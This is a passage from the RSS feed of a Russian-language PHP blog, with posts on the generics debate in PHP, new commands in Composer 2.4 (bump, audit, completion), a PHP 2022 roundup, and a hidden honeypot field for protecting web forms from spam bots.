// Collection_string</code></pre><p>Мономорфизированные дженерики — абсолютно правильный подход. Например, мономорфизированные дженерики использует&nbsp;<span style="font-size: 1rem;">Rust</span>. Одним из преимуществ является большой прирост производительности, потому что больше нет проверок&nbsp;<span style="font-size: 1rem;">общих</span>&nbsp;типов во время выполнения, все они разбиваются на части перед запуском кода.</p><p>Но это сразу же подводит нас к проблеме с мономорфизированными дженериками в PHP. В PHP нет явного шага компиляции, как в Rust, чтобы разделить один общий класс на несколько конкретных реализаций; и, кроме того: мономорфные дженерики требуют довольно много памяти, потому что вы делаете несколько копий одного и того же класса с некоторыми отличиями. Это может быть не такой большой проблемой для скомпилированного двоичного файла Rust, но это серьезная проблема для PHP-кода, запускаемого на сервере и обслуживающего сотни или тысячи запросов в секунду.</p><p>Следующий вариант - <b>Reified Generics (Материализованные дженерики)</b>. Это реализация, в которой общий класс сохраняется как есть, а информация о типе оценивается на лету во время выполнения. Например те же C# и Kotlin имеют&nbsp;<span style="font-size: 1rem;">материализованную&nbsp;</span>реализацию дженериков, и они наиболее близки к текущей системе типов PHP, потому что PHP выполняет все проверки типов во время выполнения. Проблема здесь в том, что для работы материализованных дженериков потребовался бы огромный объем рефакторинга основного кода ядра, и были бы некоторые потери производительности, поскольку мы делаем все больше и больше проверок типов во время выполнения.</p><p>Это подводит нас к последнему варианту: полностью игнорировать дженерики во время выполнения. Как будто их нет, в конце концов, общая реализация, например, класса коллекции в любом случае будет работать с любым типом входных данных.<br></p><p>Так что если мы будем игнорировать все проверки общих типов во время выполнения, проблем возникнуть не должно.<br></p><p>Но опять же, игнорирование общих типов во время выполнения - это, кстати, называется стиранием типов в Java и Python - создает некоторые проблемы для PHP.<br></p><p>Во-первых: PHP не только использует типы для проверки, он также использует информацию о типах для преобразования значений на лету из одного типа в другой - это жонглирование типами, о котором я упоминал в самом начале:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">function sum(int $a, int $b): int <br>{
    return $a + $b;
}

sum('1', '2') // 3;</code></pre><p>Если бы PHP проигнорировал общий тип этой «строковой» коллекции, и мы случайно добавили бы к ней целое число, он не смог бы нас об этом предупредить, если бы общий тип был стерт:&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$slugs = new Collection&lt;string&gt;();

$slugs[] = 1; // 1 won't be cast to '1'</code></pre><p>Вторая и более важная проблема со стиранием типов - заключается в том, что типы исчезли. Зачем нам добавлять общие типы, если они стираются во время выполнения?</p><p>Это имеет смысл делать в Java и Python, потому что все определения типов проверяются перед запуском кода с помощью статического анализатора. Java, например, запускает встроенный статический анализатор при компиляции кода, то чего PHP просто не делает: нет шага компиляции и, конечно же, нет встроенной&nbsp;<span style="font-size: 1rem;">статической</span>&nbsp;проверки типов.</p><p>С другой стороны… все преимущества проверки типов не берутся из встроенного в PHP средства проверки типов во время выполнения. К тому времени, когда средство проверки типов PHP сообщает нам, что что-то не так, мы уже запустили код. Ошибка типа приводит к сбою приложения.<br></p><p>Вместо этого большая часть дополнительной ценности проверок типов исходит от статических анализаторов, которые не требуют запуска нашего кода. Они довольно хорошо проверяют, не может ли быть ошибок типов во время выполнения, если программист предоставляете достаточно информации о типах. Это не означает, что в вашем коде не может быть ошибок, но можно написать PHP-код, который полностью статически проверен и не выдает ошибок типов во время работы.&nbsp;<br></p><p>Так нужны ли нам проверки типов во время выполнения? Потому что это основная причина, по которой дженерики не могут быть добавлены в PHP сегодня: это либо слишком сложно, либо слишком ресурсоемко для PHP, чтобы проверять общие типы во время выполнения.&nbsp;</p><h2>В заключение о дженериках PHP</h2><p>Добавление мономорфных или материализованных дженериков не произойдет. По крайней мере, по словам Никиты, который провел обширное исследование по этой теме. Оба варианта либо создают проблемы с производительностью, либо просто требуют слишком большого рефакторинга основного кода средства проверки типов PHP во время выполнения, чтобы его можно было реализовать в разумные сроки.</p><p>Однако, если мы подумаем об истинной ценности, которую приносят дженерики, смысл которой не в проверках типов во время выполнения. К тому времени, когда срабатывает средство проверки типов во время выполнения PHP и, возможно, выдается ошибка типа, мы уже выполняем код. Наше приложение рухнет.&nbsp;<br></p><p>Проверки типов во время выполнения в PHP - это очень полезный инструмент отладки, и в некоторых случаях он необходим для жонглирования типами. Но большая часть ценности системы типов PHP исходит от статического анализа.<br></p><p>Итак, если мы хотим использовать дженерики в PHP, нам нужно изменить мышление:<br></p><ul><li>Во-первых, разработчики должны использовать статический анализ . Ирония здесь в том, что разработчики, которым нужны дженерики и которые понимают их ценность, также понимают ценность статических средств проверки типов. Таким образом, если&nbsp; PHP-разработчикам наплевать на статический анализ, они также могут не заботиться о дженериках. Потому что дженерики и статическая проверка типов просто не могут быть разделены.<br></li><li>Во-вторых, если внутренние разработчики PHP решат, что статически проверенные дженерики имеют место быть в PHP,&nbsp; им следует задаться вопросом, следует ли оставить статический анализ на сообществе, создав спецификацию, которой должен следовать каждый статический анализатор, либо сделать свою собственную статическую проверку типов. Второй определенно был бы предпочтительнее, но вы можете себе представить, какое это был бы большой труд. Я не думаю, что полагаться на проверенные сторонние инструменты должно быть проблемой.<br></li><li>В-третьих, жонглирование типами было бы просто невозможно, по крайней мере, при использовании дженериков. Вам придется доверять вашей статической проверке типов. Это способ программирования, к которому PHP-разработчики на самом деле не привыкли, но многие другие языки делают именно это, и это отлично работает. Статическая проверка типов невероятно мощная и точная. Я могу себе представить, что разработчикам PHP трудно понять мощь языков со статической типизацией, не использовав их раньше. Стоит изучить такие языки, как Rust, Java или даже TypeScript, просто чтобы оценить мощь систем статических типов. Или вы можете начать использовать один из сторонних статических анализаторов PHP: Psalm или PHPStan.<br></li></ul><p>Подводя итог: если нам нужны дженерики в PHP со всеми преимуществами, которые они приносят для статического анализа, нам нужно принять тот факт, что дженерики, стираемые во время выполнения, являются единственным жизнеспособным путем.<br></p><p>В заключение еще несколько замечаний, на которые я хотел бы обратить внимание.<br></p><p>Во-первых, есть аргумент, что то, что я описал, уже возможно с docblock-аннотациями, если подытожить: docblock-аннотации не сообщают разработчикам о такой же важной вещи, как встроенный синтаксис, поэтому в PHP 8 появились атрибуты; встроенный синтаксис имеет значение по сравнению с docblocks</p><p>Кроме того, нет официальной спецификации того, как должны выглядеть общие аннотации при использовании докблоков. Сегодня это большая проблема, так как все три основных статических анализатора имеют несколько разные реализации.</p><p>Второе замечание заключается в том, что даже при стирании типов мы все еще можем предоставлять информацию об общем типе через Reflection API. Я не говорю, что информация о типе должна полностью исчезать во время выполнения, меня больше всего беспокоит то, что PHP не должен проверять общие типы во время выполнения. Я не уверен, какое влияние окажет на ядро ​​​​PHP доступность информации об общем типе, с помощью Reflection API, так что я просто скажу, что не против этой идеи.</p><p>И, наконец, есть, конечно, другое решение. Тот, который возможно любой мог бы использовать. Тот, который зарекомендовал себя в прошлом в TypeScript. Вполне возможно, что будет создано надмножество PHP, которое будет компилироваться в обычный код PHP, и при компиляции выполняться множество проверок типов и другие интересные вещи. TypeScript очень популярен, и я думаю, что если есть место для подобного подхода в серверных языках, то PHP вероятно, является хорошим кандидатом. Однако TypeScript не появился волшебным образом за одну ночь. Он был создан опытными разработчиками языков, и это задача посложнее, чем добавление дженериков, игнорируемых во время выполнения, в PHP. Но кто знает, может быть, когда-нибудь...</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/74</guid>
                <pubDate>2022-10-28T10:01:41+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в Composer 2.4]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-composer-24</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в Composer 2.4</h1><blockquote>Composer, де-факто менеджер зависимостей PHP привносит несколько новых функций в новом выпуске Composer 2.4</blockquote><p>Итак, <a href="https://blog.packagist.com/composer-2-4/" target="_blank">вышел новый релиз Composer 2.4</a>. Релиз привнес новые команды, такие как audit и <a href="https://sergeymukhin.com/blog/novaia-komanda-composer-bump-v-composer-24" target="_blank">bump</a>, поддержку завершения командной строки в поддерживаемых оболочках, предложения по установке пакета с&nbsp;<span style="font-size: 1rem;">флагом</span>&nbsp;--dev , где это необходимо, улучшенную обработку сигналов процесса и многое другое.</p><p>Как и в предыдущей версии Composer 2.3, для Composer 2.4 также потребуется PHP 7.2. Приложениям, использующим более старые версии PHP, возможно, придется использовать Composer 2.2, который является версией с долгосрочной поддержкой, чтобы сначала облегчить переход на Composer 2.x.</p><h2>Обновить Composer до Composer 2.4</h2><p><br></p><pre class="line-numbers"><code class="language-powershell">composer self-update</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Новая&nbsp;команда composer bump</span><br></p><p>bump - это новая команда в Composer 2.4, которая «бампит» ограничения версии пакета, перечисленные в&nbsp;<span style="font-size: 1rem;">файле&nbsp;</span>composer.json, увеличивая их до последней версии в рамках разрешенных ограничений.</p><p>composer bump обновляет composer.json с новыми номерами версий, но только в пределах разрешенных основных/дополнительных/исправлений. Например, если для&nbsp;<span style="font-size: 1rem;">файла</span>&nbsp;composer.json требуется&nbsp;<span style="font-size: 1rem;">пакет</span>&nbsp;phpunit/phpunit с&nbsp;<span style="font-size: 1rem;">ограничением версии</span>&nbsp;^9.4, это означает, что Composer разрешено устанавливать phpunit/phpunit версии в диапазоне от&nbsp; &gt;= 9.4.0 &gt;= и &lt; 10.</p><pre class="line-numbers"><code class="language-powershell">{
   "require": {
-        "phpunit/phpunit": "^9.4"
+        "phpunit/phpunit": "^9.5.20"
   }
}</code></pre><p><span style="font-size: 1rem;">Команда&nbsp;</span>composer bump не обновляет требования к платформе, такие как версия PHP и версий расширений.&nbsp;</p><h2>Новая команда composer audit</h2><p>Composer 2.4 добавляет новую команду composer audit, которая сканирует установленные пакеты на наличие известных уязвимостей безопасности.&nbsp;</p><p><img src="/files/blog/2022/reliz-composer-24-YVC7n7.png"></p><p>Composer предлагает предупреждения о небезопасных версиях зависимостей из коробки как часть каждой команды composer update (можно отключить там, где это не имеет значения с помощью --no-audit)</p><p><img src="/files/blog/2022/reliz-composer-24-dfz5ym.png"></p><p>По умолчанию аудит install отключен для повышения производительности, потому что большинство установок запускаются автоматически, никто не просматривает их выходные данные, но ее также можно включить и настроить с помощью флага --audit:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer install --audit --audit-format=plain</code></pre><h2>Поддержка завершения команд, пакета и опции bash</h2><p>Очень крутая функция,&nbsp;хоть и&nbsp; потребует нескольких шагов ручной настройки, но это того стоит! То есть теперь при нажатии на табуляцию Composer завершит ввод команд, параметров и даже имен пакетов. Внутренне завершение Composer зависит от библиотеки Symfony Console. На данный момент поддержка ограничена Bash.</p><p><img src="/files/blog/2022/reliz-composer-24-sWFcI6.gif"></p><p>Чтобы настроить завершение Composer, запустите <b>composer completion</b> без параметров. На поддерживаемых платформах Composer выведет скрипт завершения, который следует поместить в каталог, в который оболочка загружает сценарии завершения. Для этой установки также требуется&nbsp;<span style="font-size: 1rem;">установленный пакет</span>&nbsp;bash-complete.</p><pre class="line-numbers"><code class="language-powershell">sudo apt install bash-completion
composer completion | sudo tee /etc/bash_completion.d/composer | exec bash </code></pre><h2>Предлагает установить пакеты с --dev</h2><p>При попытке установить пакет, помеченный как dev, testing или static analysis без&nbsp;<span style="font-size: 1rem;">флага</span>&nbsp;--dev Composer 2.4 предложит пользователю вместо этого установить пакет как&nbsp;<span style="font-size: 1rem;">зависимость&nbsp;</span>require-dev:</p><p><img src="/files/blog/2022/reliz-composer-24-nSiUR4.png"></p><p>Это полезно для предотвращения случайной установки тестовых фреймворков, статических анализаторов, инструментов контроля качества кода и т.д. в качестве продакшн зависимостей.</p><h2>Улучшение команды composer outdated</h2><p>Команда command outdated выводит список устаревших пакетов из установленных в настоящее время, была обновлена ​​в Composer 2.4. Теперь Composer отображает прямые и транзитивные зависимости отдельно:</p><p><img src="/files/blog/2022/reliz-composer-24-E8S87w.png"></p><p>Кроме того, composer outdated теперь поддерживает&nbsp;<span style="font-size: 1rem;">флаг</span>&nbsp;--major-only, в котором перечислены только пакеты с устаревшей основной версией. Composer уже поддерживает&nbsp;<span style="font-size: 1rem;">опции&nbsp;</span>--patch-only и --minor-only для фильтрации устаревших версий по исправлениям и второстепенным версиям.</p><p><br></p><hr><p>Также было добавлено множество мелких улучшений, например улучшенная обработка сигналов:</p><p> </p><ul><li>ранее когда Composer получал сигнал SIGINT/SIGTERM/SIGHUP (например SIGINT, когда пользователь нажимает ^C), Composer ожидал завершения всех запущенных внешних процессов. Composer 2.4 может отобразить полный вывод процессов перед завершением.</li><ul><li>composer dump-autoload теперь поддерживает --strict-psr - обнаружение и сбой при наличии файлов, не соответствующих соглашению об именах PSR-0/PSR-4.</li><li>composer добавлен как псевдоним для composer require. </li><li>Composer\Autoload\ClassMapGenerator устарел в пользу нового&nbsp;<span style="font-size: 1rem;">пакета&nbsp;</span>composer/class-map-generator.</li></ul></ul><div><br></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/75</guid>
                <pubDate>2022-08-17T11:27:16+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Новая команда composer bump в Composer 2.4]]></title>
                <link>https://sergeymukhin.com/blog/novaia-komanda-composer-bump-v-composer-24</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Новая команда composer bump в Composer 2.4</h1><blockquote>Composer версии 2.4 добавляет новую команду bump</blockquote><p>На текущий момент версия композера 2.3.9. Скоро в релиз выйдет версия 2.4. И в этот релиз добавят интересную команду с названием <b>bump</b>,<b>&nbsp;</b>которая увеличивает требования к номерам версии пакетов, перечисленные в composer.json. Когда номера версий в&nbsp;<span style="font-size: 1rem;">файле</span>&nbsp;composer.json будут изменены, Composer уже не может установить более раннюю версию необходимых пакетов.</p><p>Например,&nbsp;<span style="font-size: 1rem;">файл</span>&nbsp;composer.json, для которого требуется&nbsp;<span style="font-size: 1rem;">пакет</span>&nbsp;phpunit/phpunit с ограничением версии, ^9.4.0 означает, что Composer разрешено устанавливать&nbsp;<span style="font-size: 1rem;">версии пакета&nbsp;</span>phpunit/phpunit в диапазоне от &gt;= 9.4.0 и до &lt; 10.</p><p><br></p><pre class="line-numbers"><code class="language-json">{
    "require-dev": {
        "phpunit/phpunit": "^9.4"
    }
}</code></pre><p>Когда выполнится&nbsp;<span style="font-size: 1rem;">команда </span><b>composer bump</b>, она обновляет требования всех пакетов ( если они не сужены) до текущей установленной версии, делая текущую версию нижней границей ограничения пакета.</p><p>В&nbsp;<span style="font-size: 1rem;">примере&nbsp;</span>phpunit/phpunit текущая установленная версия — 9.5.20, запуск composer bump обновит&nbsp;<span style="font-size: 1rem;">файл&nbsp;</span>composer.json, чтобы использовать эту версию в качестве нижней границы:</p><p><br></p><pre class="line-numbers"><code class="language-json">{
   "require": {
-        <span style="background-color: rgb(255, 0, 0);">"phpunit/phpunit": "^9.4"</span>
+        <font color="#000000" style="background-color: rgb(0, 255, 0);">"phpunit/phpunit": "^9.5.20"</font>
   }
}</code></pre><p>Стоит заметить, что команда <b>composer bump</b> не обновляет требования к платформе, такие как версия PHP и версий расширения.&nbsp;</p><h2>Сужение списка пакетов</h2><p>Команда <b>composer bump</b> поддерживает сужение пакетов, которые передаются в разделы require и require-dev с необязательными флагами.</p><p><br></p><ul><li>--dev-only: только пакеты в require-dev.</li><li>--no-dev-only: пакеты в require.</li></ul><p>Например, следующая команда поднимает требования только тем пакетам, которые перечислены в&nbsp;<span style="font-size: 1rem;">разделе</span>&nbsp;require-dev&nbsp;<span style="font-size: 1rem;">файла&nbsp;</span>composer.json:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer bump --dev-only</code></pre><h2>Требование файла composer.lock</h2><p>Команде composer bump&nbsp;<span style="font-size: 1rem;">требуется</span>&nbsp;<span style="font-size: 1rem;">обновленный файл&nbsp;</span>composer.lock. Это связано с тем, что composer bump проверяет&nbsp;<span style="font-size: 1rem;">файл&nbsp;</span>composer.lock, чтобы определить текущие установленные версии.</p><p><b>Если&nbsp;<span style="font-size: 1rem;">файла</span>&nbsp;composer.lock не существует</b>, Composer выдает сообщение об успешном выполнении:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">No requirements to update in ./composer.json.</code></pre><p><b>Если&nbsp;<span style="font-size: 1rem;">файл&nbsp;</span>composer.lock устарел</b>, Composer завершает работу с ошибкой:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">The lock file is not up to date with the latest changes in composer.json. Run the appropriate `update` to fix that before you use the `bump` command.</code></pre><h2>Предупреждение при превышении требований</h2><p>Обратите внимание, что при изменении ограничений версии он эффективно сужает список возможных версий, которые Composer может разрешить. Когда пакет требуется для нескольких непосредственных или косвенных зависимостей, сужение ограничений версии может помешать Composer правильно определить номер версии.</p><p>Когда библиотекам требуется один и тот же пакет, но с разными ограничениями версии, изменение нижней границы одной библиотеки может помешать ее использованию вместе с другой библиотекой.<br></p><p>Например, Composer может установить&nbsp;<span style="font-size: 1rem;">библиотеку&nbsp;</span>symfony/finder, если две библиотеки требуют ее с ограничениями версии, такими как ^6.0.0 (любая 6.* версия) и ~6.0.0 (любая 6.0.* версия), выбрав&nbsp;<span style="font-size: 1rem;">версию&nbsp;</span>symfony/finder, которая удовлетворяет обоим ограничениям версии, например 6.0.8.</p><p>Если пакет A решит увеличить&nbsp;<span style="font-size: 1rem;">ограничение</span>&nbsp;symfony/finder версии до ^6.1.0, Composer больше не сможет правильно определить версию, потому что пакет B поддерживает только последовательные&nbsp;<span style="font-size: 1rem;">версии&nbsp;</span>symfony/finder 6.0.</p><p>Композер сразу предупреждает и об этом:<br></p><pre class="line-numbers"><code class="language-powershell">Warning: Bumping dependency constraints is not recommended for libraries as it will narrow down your dependencies and may cause problems for your users.
If your package is not a library, you can explicitly specify the "type" by using "composer config type project".
Alternatively you can use --dev-only to only bump dependencies within "require-dev".</code></pre><p>Как говорится в предупреждении, рекомендуется обновлять&nbsp;<span style="font-size: 1rem;">раздел&nbsp;</span>require-dev только с&nbsp;<span style="font-size: 1rem;">опцией</span>&nbsp;--dev-only, чтобы предотвратить чрезмерное сужение вариантов версий зависимостей.</p><p><br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/73</guid>
                <pubDate>2022-07-12T11:22:22+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP в 2022 году]]></title>
                <link>https://sergeymukhin.com/blog/php-v-2022-godu</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP в 2022 году</h1><blockquote>Ежегодный пост, подводящий некую черту возможностей языка PHP и возможно отвечающий на вопрос, стоит ли изучать язык PHP в 2022 году.</blockquote><p>В этом году мы увидели потрясающие новые функции, добавленные в PHP, такие как атрибуты, enums, объявление свойств в конструкторе и fibers; и вдобавок ко всему, сообщество статического анализа добилось больших успехов. Итак, начнем.</p><h2>PHP 8.1</h2><p>Возглавит этот список новейшая версия <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a>. Большинство наших проектов уже перешли на PHP 8.1 в продакшене, чему я признаться очень рад. Возможно, вы не ожидаете этого от минорной версии — в ней нет серьезных критических изменений, а добавлены только уведомления об устаревании, - но PHP 8.1 предлагает несколько очень интересных функций.</p><p><a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">Перечисления</a> теперь встроены в язык:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status
{
    case draft;
    case published;
    case archived;
    
    public function color(): string
    {
        return match($this) 
        {
            Status::draft =&gt; 'grey',   
            Status::published =&gt; 'green',   
            Status::archived =&gt; 'red',   
        };
    }
}</code></pre><p>Мы можем использовать <a href="https://sergeymukhin.com/blog/php-81-operator-new-v-inicializatorax" target="_blank">new в инициализаторах</a>:</p><p><br></p><pre class="line-numbers"><code class="language-php">class PostStateMachine
{
    public function __construct(
        private State $state = new Draft(),
    ) {
    }
}</code></pre><p>И, конечно же, <a href="https://sergeymukhin.com/blog/php-81-svoistva-tolko-dlya-cteniya" target="_blank">свойства только для чтения</a>:&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">class PostData
{
    public function __construct(
        public readonly string $title,
        public readonly PostState $state,
        public readonly DateTimeImmutable $publishedAt,
    ) {}
}</code></pre><p>Что, в сочетании с <a href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora" target="_blank">объявлением свойств в конструкторе PHP 8.0</a> , делает некоторые классы данных очень чистыми. Чтобы наглядно представить разницу, вот тот же класс с той же функциональностью, написанный на PHP 5.6:</p><p><br></p><pre class="line-numbers"><code class="language-php">class PostData
{
    /** @var string */
    private $title;
    
    /** @var State */
    private $state;
    
    /** @var \DateTimeImmutable|null */
    private $publishedAt;
   
   /**
    * @param string $title 
    * @param State $state 
    * @param \DateTimeImmutable|null $publishedAt 
    */
    public function __construct(
        $title,
        $state,
        $publishedAt = null
    ) {
        $this-&gt;title = $title;
        $this-&gt;state = $state;
        $this-&gt;publishedAt = $publishedAt;
    }
    
    /**
     * @return string 
     */
    public function getTitle()
    {
        return $this-&gt;title;    
    }
    
    /**
     * @return State 
     */
    public function getState() 
    {
        return $this-&gt;state;    
    }
    
    /**
     * @return \DateTimeImmutable|null 
     */
    public function getPublishedAt() 
    {
        return $this-&gt;publishedAt;    
    }
}</code></pre><h2>Статический анализ</h2><p>Статический анализ в PHP значительно развивается. Такие фреймворки, как Laravel, все больше и больше используют <a href="https://github.com/laravel/framework/pull/38538" target="_blank">статическую типизацию (написание кода и докблоков с единственной целью помочь статическому анализу)</a>; В <a href="https://blog.jetbrains.com/phpstorm/2021/07/phpstorm-2021-2-beta/" target="_blank">PhpStorm добавлена ​​поддержка</a> универсальных типов, это очень важно, если вы можете написать универсальный код и ваша IDE понимает его , пока вы его пишете; <a href="https://packagist.org/packages/phpstan/phpstan/stats" target="_blank">PhpStan</a> и <a href="https://packagist.org/packages/vimeo/psalm/stats" target="_blank">Psalm</a> только растут;</p><h2>PHP foundation</h2><p>Несколько месяцев назад PHP получил довольно большую новость, может быть, даже самую большую новость 2021 года: Никита Попов, один из самых активных специалистов по поддержке ядра, уходит, чтобы работать над LLVM, но в то же время появилась новая инициатива, поддержанная несколькими крупные компании, чтобы, наконец, сделать основное развитие устойчивым.</p><p>Короче говоря, есть <a href="https://opencollective.com/phpfoundation" target="_blank">PHP Foundation</a>, некоммерческая организация, единственной целью которой является финансирование разработки ядра PHP. Инициатива продвигается JetBrains, которая уже вложила в проект 100 000 долларов. Наряду со многими другими, они собрали 329 920,75 долларов - хорошее начало!</p><p>Эти деньги используются для финансирования основной разработки и открывают возможности для работы над PHP для людей, которые раньше не могли этого сделать. Подробнее о миссии и целях Фонда можно прочитать в <a href="https://blog.jetbrains.com/phpstorm/2021/11/the-php-foundation/" target="_blank">блоге JetBrains</a>.</p><h2>Экосистема</h2><p>Ну и нельзя не упомянуть Packagist, в котором сейчас зарегистрировано более 3 миллионов версий и более 300 000 пакетов. Как видите, экосистема продолжает расти и расти, и 2022 год ничем не будет отличаться.</p><p><img src="https://sergeymukhin.com/files/blog/2022/php-v-2022-godu-pzAUJY.png"></p><h2>Асинхронный PHP</h2><p>Одним из захватывающих событий в асинхронном сообществе стало то, что разработчики из Amp и ReactPHP — двух основных асинхронных игроков — объединились, чтобы создать совместимую с волокном реализацию цикла событий под названием <a href="https://github.com/revoltphp/event-loop" target="_blank">Revolt PHP</a>.</p><p>По сравнению с сообществом в целом, асинхронный PHP используется лишь небольшой его частью; но, тем не менее, приятно видеть, что асинхронное сообщество становится сильным и охватывает современный PHP.</p><h2>Serverless PHP</h2><p>У меня не было никаких вариантов его использования, но я знаю все больше и больше людей, использующих бессерверный PHP в продакшене, так что за этим определенно стоит следить.</p><p><br></p><h2>Подводя итоги</h2><p>PHP — это язык программирования, который широко используется для веб-разработки. Он прост в освоении для новичков и имеет множество модулей и библиотек, которые обеспечивают надежное программирование. PHP также является языком с открытым исходным кодом, что означает, что код доступен для использования и изменения любым пользователем. Это делает его отличным выбором для веб-разработчиков, которые хотят создавать собственные решения. Кроме того, PHP-сообщество большое и активное, поэтому в Интернете доступно множество ресурсов, если вам нужна помощь.</p><p>PHP будет по-прежнему популярен в 2022 году, потому что он прост в использовании и универсален. Его можно использовать как для небольших, так и для крупных проектов, что делает его хорошим выбором для предприятий любого размера.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/72</guid>
                <pubDate>2022-07-08T11:00:11+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Honeypot - простая эффективная защита форм на сайте от спама]]></title>
                <link>https://sergeymukhin.com/blog/honeypot-prostaya-effektivnaya-zashhita-form-na-saite-ot-spama</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Honeypot - простая эффективная защита форм на сайте от спама</h1><blockquote>Пост продемонстрирует простую технику, которая поможет вам блокировать спамеров и ботов, атакующих формы вашего веб-сайта</blockquote><p>Хотелось бы предупредить заранее, что не стоит рассматривать эту защиту как панацею от всех атак, это скорее дополнительный уровень защиты от спама, а не основной функционал. Возможно для вашего ресурса понадобятся более продвинутые системы, такими как reCaptcha и т.д. Но из-за простоты этого метода я рекомендую вам не игнорировать его применение в своих формах.</p><p>Итак, представьте, что у вас есть обычная структура формы, следующего вида:</p><p><br></p><pre class="line-numbers"><code class="language-html">&lt;form id="form" action="/send"&gt;
    &lt;label for="name"&gt;* Ваше имя:&lt;/label&gt;
    &lt;input type="text" id="name" name="name" placeholder="Введите имя" required maxlength="100"&gt;
    &lt;label for="email"&gt;* Ваш E-mail:&lt;/label&gt;
    &lt;input type="email" id="email" name="email" placeholder="Введите e-mail" required&gt;
    &lt;input type="submit" value="Отправить" /&gt;
&lt;/form&gt;</code></pre><p>&nbsp;Т.к. большинство ботов - тупые, у них стоит задача заполнить все поля формы, ведь на форме могут быть различные чекбоксы типа "Соглашаюсь с ..", на этом и строится вся логика "Приманки".</p><p>Поэтому если мы немного дополним форму чекбоксом с именем, ну например fax_only, и скроем его с глаз с помощью стиля display:none:</p><pre class="line-numbers"><code class="language-html">&lt;form id="form" action="/send"&gt;
    &lt;label for="name"&gt;* Ваше имя:&lt;/label&gt;
    &lt;input type="text" id="name" name="name" placeholder="Введите имя" required maxlength="100"&gt;
    &lt;label for="email"&gt;* Ваш E-mail:&lt;/label&gt;
    &lt;input type="email" id="email" name="email" placeholder="Введите e-mail" required&gt;
    &lt;input type="checkbox" name="fax_only" id="fax_only" value="1" style="display:none;" autocomplete="off" /&gt;
    &lt;input type="submit" value="Отправить" /&gt;
&lt;/form&gt; </code></pre><p>Как вариант, еще можно скрыть элемент без использования diplay:none, т.к. некоторые боты могут это "учуять":</p><p><br></p><pre class="line-numbers"><code class="language-css">.hidden {
        opacity: 0;
        position: absolute;
        top: 0;
        left: 0;
        height: 0;
        width: 0;
        z-index: -1;
}</code></pre><p>Но в большинстве случаев даже display none вполне себе рабочий вариант, если же боты все же будут пробивать защиту можно озадачиться усовершенствованием стилей.</p><p>Теперь в форме есть 2 вида данных: реальные поля с нашими входными данными (и возможно защищенными хешами) и наш приманка (лучше всего использовать более менее реальные имена, и не использовать "honeypot" и пр. "приманочные" имена). </p><p>На бэкэнде достаточно сделать проверку не было ли заполнено какое-либо из полей «honeypot». Если да, поздравляю, вы поймали спам. Большинство ботов заполнит все поля, не различая их. Если вы предпочитаете выполнить эту проверку на клиенте, в случае формы ajax, то это позволит избежать использования ресурсов сервера для вычисления бесполезных данных (но все равно сохраните проверку и на бэкенде). Когда вы поймаете спам, просто не отправляйте данные и делайте с ними все, что хотите. Пример для Laravel:</p><p><br></p><pre class="line-numbers"><code class="language-php">public function send(Request $request)
{
    if ($request-&gt;fax_only){
        die();
    }
        
    //вроде как не спам
}</code></pre><p>Ну или просто проверка $_REQUEST в PHP:</p><p><br></p><pre class="line-numbers"><code class="language-php">if (isset($_REQUEST["fax_only"]) &amp;&amp; !empty($_REQUEST["fax_only"])) {
  die();
}</code></pre><p>Есть еще более продвинутые варианты реализации "приманки" с помощью JavaScript, но как уже писал выше обычно достаточно и простого варианта, а совершенствовать ее можно по мере того, как боты смогут и будут обходить вашу защиту.&nbsp;</p><p style="text-align: center; "><img src="https://sergeymukhin.com/files/blog/2020/honeypot-prostaya-effektivnaya-zashhita-form-na-saite-ot-spama-V649w2.png"> &nbsp;&nbsp;</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/39</guid>
                <pubDate>2022-07-07T04:55:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2022.2]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-2</link>
